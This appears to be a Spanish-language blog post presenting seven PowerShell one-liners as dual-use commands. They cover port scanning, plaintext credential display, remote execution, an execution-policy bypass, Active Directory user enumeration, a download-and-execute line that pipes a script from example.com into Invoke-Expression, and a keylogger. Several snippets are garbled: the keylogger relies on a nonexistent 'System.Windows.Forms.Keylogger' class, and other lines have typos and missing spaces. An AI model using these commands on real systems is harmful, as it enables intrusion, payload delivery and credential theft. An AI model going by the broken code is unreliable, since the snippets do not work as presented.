Hacker La Red OscuraHacker La Red Oscura

Este documento describe, de forma estructurada y técnica, una serie de comandos PowerShell que pueden ser utilizados tanto para administración legítima como para otras actividades. Cada sección incluye una descripción clara del propósito, funcionamiento.

1. Escaneo de Puertos Abiertos

Comando:

1..1024 | ForEach-Object { $sock = New-ObjectSystem.Net.Sockets.TcpClient $async = sock.BeginConnect('localhost', $_, $null, $null) $wait = $async.AsyncWaitHandle.WaitOne(100, $false); if($sock.Connected) { $_ } ; $sock.Close() }

Descripción: Escanea los primeros 1024 puertos TCP en la máquina local con el fin de identificar puertos abiertos.

Uso habitual:

  • Auditorías de red y comprobaciones de seguridad.

Riesgos:

  • Puede emplearse para reconocimiento previo a un ataque.
  • Genera tráfico detectable en herramientas de monitorización.

2. Recuperación de Credenciales Almacenadas

Comando:

$cred = Get-Credential; $cred.GetNetworkCredential() | Select-Object -PropertyUserName, Password

Descripción: Solicita credenciales al usuario y muestra el usuario y contraseña en texto plano.

Uso habitual:

  • Pruebas de automatización.

Riesgos:

  • Puede emplearse para harvesting de credenciales.
  • Exponer contraseñas en texto plano es una mala práctica.

3. Ejecución Remota de Comandos

Comando:

Invoke-Command -ComputerNameTargetPC -ScriptBlock { Get-Process } -Credential (Get-Credential)

Descripción: Permite ejecutar comandos en un equipo remoto mediante PowerShell Remoting.

Uso habitual:

  • Administración remota.

Riesgos:

  • Si se comprometen las credenciales, un atacante puede ejecutar comandos remotamente.

4. Descarga y Ejecución de Scripts desde URL

Comando:

$url = 'http://example.com/script.ps1'; Invoke-Expression (New-bject Net.WebClient).DownloadString($url)

Descripción: Descarga y ejecuta un script desde una URL externa.

Uso habitual:

  • Automatización y despliegue remoto.

Riesgos:

  • Comúnmente utilizado para ejecutar payloads maliciosos.
  • Riesgo crítico si la URL o el contenido no están verificados.

5. Evadir Políticas de Ejecución

Comando:

Set-ExecutionPolicyBypass -ScopeProcess -Force; .\script.ps1

Descripción: Permite ejecutar scripts ignorando la política de ejecución del sistema, pero únicamente dentro del proceso actual.

Uso habitual:

  • Ejecutar scripts propios o sin firmar.

Riesgos:

  • Permite la ejecución de scripts maliciosos.

6. Enumeración de Usuarios del Dominio

Comando:

Get-ADUser -Filter * -Properties * | Select-Object -PropertyName, Enabled, LastLogonDate

Descripción: Obtiene una lista de todos los usuarios del dominio y muestra su estado y última fecha de inicio de sesión.

Uso habitual:

  • Auditorías de Active Directory.

Riesgos:

  • Información valiosa para movimientos laterales en un ataque.

7. Captura de Pulsaciones de Teclado

Comando:

$path = 'C:\temp\keystrokes.txt'; Add-Type -AssemblyNameSystem.Windows.Forms; $listener = New-ObjectSystem.Windows.Forms.Keylogger; [System.Windows.Forms.Application]::Run($listener); $listener.Keys | Out-File -FilePath$path

Descripción: Registra pulsaciones de teclado y las almacena en un fichero local.

Uso habitual:

  • No existe un uso administrativo legítimo habitual.

Riesgos:

  • Se considera comportamiento malicioso típico de malware.

Conclusión

Este manual resume comandos que pueden formar parte de actividades de administración avanzada, pruebas de seguridad o, en escenarios no autorizados, acciones ofensivas. Su uso debe quedar restringido a entornos controlados y con permisos explícitos.